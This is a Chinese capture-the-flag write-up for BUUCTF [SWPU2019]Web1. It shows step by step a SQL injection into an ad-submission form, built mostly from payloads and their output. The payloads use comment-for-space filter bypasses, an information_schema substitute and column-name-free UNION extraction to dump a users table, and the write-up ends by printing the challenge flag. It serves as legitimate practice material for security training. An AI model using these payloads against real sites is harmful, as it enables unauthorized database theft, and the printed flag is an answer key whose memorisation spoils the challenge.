BUUCTF [SWPU2019]Web1
进入网站,注册登录,进到申请发布广告,应该就是在这里实现注入。
首先尝试:
1'or 1 = 1#
标题含有敏感词汇
应该是哪里被过滤了。经过尝试后是or被过滤了,--+,#等其他的注释符也被过滤了。
经过测试后,结尾可以用单引号闭合。
再次尝试:
1'show databases()'
1'showdatabases()'
空格被过滤了,可以用/**/代替空格。
再次尝试:
1'union/**/select/**/1,2,3'
The used SELECT statements have a different number of columns
列数不对,最后测试出是22列
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
广告名|广告内容
2 | 3
回显在2,3。接下来查库:
尝试:
1'union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
广告名|广告内容
2 | web1
知道库名为web1。接下来查表:
尝试:
1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/database_name="web1"),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
标题含有敏感词汇
发现information_schema被过滤了,可以用mysql.innodb_table_stats替换information_schema
尝试:
1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
广告名 |广告内容
ads,users | 3
users应该就是我们需要查看的表
尝试:
1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
广告名 |广告内容
2,flag,admin,asd123 | 3
为什么
select 1,2 as a,3 union select * from users
尝试:
1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
广告名 |广告内容
3,flag{705302cc-e9ad-4671-ae6d-d56286780c07}, ... | 3
参考链接:
https://blog.csdn.net/missht0/article/details/113406210
不知道列名的情况下注入

浙公网安备 33010602011771号